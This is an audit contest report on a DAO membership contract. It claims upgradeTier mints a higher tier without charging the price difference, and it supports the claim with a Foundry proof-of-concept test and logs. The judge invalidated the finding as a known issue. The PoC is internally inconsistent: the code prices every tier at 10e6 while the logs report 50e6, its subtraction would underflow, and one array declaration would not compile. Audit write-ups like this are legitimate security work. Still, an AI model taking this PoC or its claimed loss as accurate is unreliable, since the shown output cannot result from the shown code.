Project
One World
NFTDeFi
15,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

Missing Price Check for Tier Upgrades in upgradeTier Function Causes Potential Fund Loss

Fortis Audits

Summary

The upgradeTier function in the DAO contract allows users to upgrade their membership tier by burning tokens from the current tier and minting a single token in a higher-share tier (lower index). However, the function lacks a check to ensure that the tier upgrade process does not result in a loss to the protocol. When a user upgrades to a tier with a higher price, the protocol does not require additional payment, leading to a discrepancy in funds and a potential financial loss.

Vulnerability Details

The vulnerability arises because the upgradeTier function does not verify if the price of the target tier (lower index) is higher than the price of the current tier. Without this verification, a user could upgrade to a more valuable tier without paying the difference, causing a direct loss to the protocol.

Code Snippet

https://github.com/Cyfrin/2024-11-one-world/blob/1e872c7ab393c380010a507398d4b4caca1ae32b/contracts/dao/MembershipFactory.sol#L155-#L162

// @audit : missing price check between fromTierIndex and fromTierIndex-1.
function upgradeTier(address daoMembershipAddress, uint256 fromTierIndex) external {
require(daos[daoMembershipAddress].daoType == DAOType.SPONSORED, "Upgrade not allowed.");
require(daos[daoMembershipAddress].noOfTiers >= fromTierIndex + 1, "No higher tier available.");
IMembershipERC1155(daoMembershipAddress).burn(_msgSender(), fromTierIndex, 2);
IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), fromTierIndex - 1, 1);
emit UserJoinedDAO(_msgSender(), daoMembershipAddress, fromTierIndex - 1);
}

Impact

This vulnerability can lead to financial losses for the protocol as users can bypass the actual cost of higher-priced tiers during the upgrade process. This loss occurs because the function mints a token for a higher-share tier without charging the user appropriately, thus creating a potential exploit for savvy users.

Proof Of Concept

  • The price of Tier 2 is 10e6.

  • The price of Tier 1 is 50e6.

  • Alice joined the DAO membership at Tier 2 twice, paying a total of 20e6.

  • Now, Alice calls upgradeTier for Tier 2.

  • There is a significant price difference between Tier 2 and Tier 1.

  • However, in upgradeTier, there is no check to verify if the price of Tier 1 is higher.

  • This means that Alice can obtain more shares by paying far less than the actual Tier 1 price.

Proof Of Code

  1. Create a BugTest.t.sol contract in the test folder.

  2. Add the following code to the BugTest.t.sol file:

  3. Run the test using the command forge test --mt test_FortisAudit_Loss_Of_Funds_In_UpgradeTier -vvvv.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.22;
import {MembershipFactory} from "../contracts/dao/MembershipFactory.sol";
import {OWPIdentity} from "../contracts/OWPIdentity.sol";
import {MembershipERC1155} from "../contracts/dao/tokens/MembershipERC1155.sol";
import {OWPERC20} from "../contracts/shared/testERC20.sol";
import {CurrencyManager} from "../contracts/dao/CurrencyManager.sol";
import {Test, console} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {DAOConfig, DAOInputConfig, TierConfig, DAOType} from "../contracts/dao/libraries/MembershipDAOStructs.sol";
import {IAccessControl} from "@openzeppelin/contracts/access/IAccessControl.sol";
​
contract BugTest is Test {
ERC1967Proxy public proxy;
MembershipFactory public membershipFactory;
MembershipERC1155 public membershipERC1155_implmentation;
MembershipERC1155 public membershipERC1155;
OWPERC20 public usdc;
OWPIdentity public owpIdentity;
CurrencyManager public currencyManager;
address public admin = makeAddr("admin");
address public bluedragon = makeAddr("bluedragon");
address public purpledragon = makeAddr("purpledragon");
address public alice = makeAddr("alice");
function setUp() public {
usdc = new OWPERC20("OWP", "OWP");
vm.startPrank(admin);
currencyManager = new CurrencyManager();
membershipERC1155_implmentation = new MembershipERC1155();
bytes memory data = abi.encodeWithSignature("initialize(string,string,string,address,address)", "OWP", "OWP", "One-World", admin, address(usdc));
proxy = new ERC1967Proxy(address(membershipERC1155_implmentation), data);
membershipERC1155 = MembershipERC1155(address(proxy));
membershipFactory = new MembershipFactory(address(currencyManager), admin, "https://baseuri.com/", address(membershipERC1155_implmentation));
currencyManager.addCurrency(address(usdc));
vm.stopPrank();
}
function Inputs() internal view returns (DAOInputConfig memory config, TierConfig[] memory tiers) {
DAOInputConfig memory config = DAOInputConfig({
ensname: "test",
daoType: DAOType.PUBLIC,
currency: address(usdc),
maxMembers: 50,
noOfTiers: 7
});
TierConfig[] memory tiers = new TierConfig[]();
tiers[0] = TierConfig({
amount: 1,
price: 10e6,
power: 1,
minted: 0
});
tiers[1] = TierConfig({
amount: 2,
price: 10e6,
power: 2,
minted: 0
});
tiers[2] = TierConfig({
amount: 3,
price: 10e6,
power: 3,
minted: 0
});
tiers[3] = TierConfig({
amount: 4,
price: 10e6,
power: 4,
minted: 0
});
tiers[4] = TierConfig({
amount: 5,
price: 10e6,
power: 5,
minted: 0
});
tiers[5] = TierConfig({
amount: 6,
price: 10e6,
power: 6,
minted: 0
});
tiers[6] = TierConfig({
amount: 7,
price: 10e6,
power: 7,
minted: 0
});
return (config, tiers);
}
function test_FortisAudit_Loss_Of_Funds_In_UpgradeTier() public {
vm.startPrank(admin);
(DAOInputConfig memory config, TierConfig[] memory tiers) = Inputs();
address dao = membershipFactory.createNewDAOMembership(config, tiers);
uint256 tier2_price = tiers[2].price ;
uint256 tier1_price = tiers[1].price;
​
usdc.mint(alice , 2 * tier2_price);
vm.stopPrank();
for(uint256 i ; i<2; i++){
vm.startPrank(alice);
usdc.approve(address(membershipFactory) , tier2_price );
membershipFactory.joinDAO(dao , 2);
vm.stopPrank();
}
console.log("price of tier2 is " , tier2_price);
console.log("price of tier1 is " , tier1_price);
vm.startPrank(alice);
membershipFactory.upgradeTier(dao , 2);
console.log("alice join the membership of dao tier1 by upgrading tier2");
console.log("alice paid for minting two nft from tier2 is " , 2*tier2_price);
console.log("user need to pay for joining the membership of tier 1 is", tier1_price);
console.log("Total loss of the protocol" , tier1_price - 2*tier2_price);
vm.stopPrank();
}
}

Logs

Logs:
price of tier2 is 10000000
price of tier1 is 50000000
alice join the membership of dao tier1 by upgrading tier2
alice paid for minting two nft from tier2 is 20000000
user need to pay for joining the membership of tier 1 is 50000000
Total loss of the protocol 30000000
​

Tools Used

Foundry

Recommendations

To mitigate this issue, add a check in the upgradeTier function to ensure that the user covers any price difference when moving to a higher-cost tier. Specifically:

  1. Retrieve the prices of the current tier and the target tier.

  2. If the target tier's price is higher, require the user to pay the difference before executing the upgrade.

Updates

Lead Judging Commences

0xbrivan2 Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!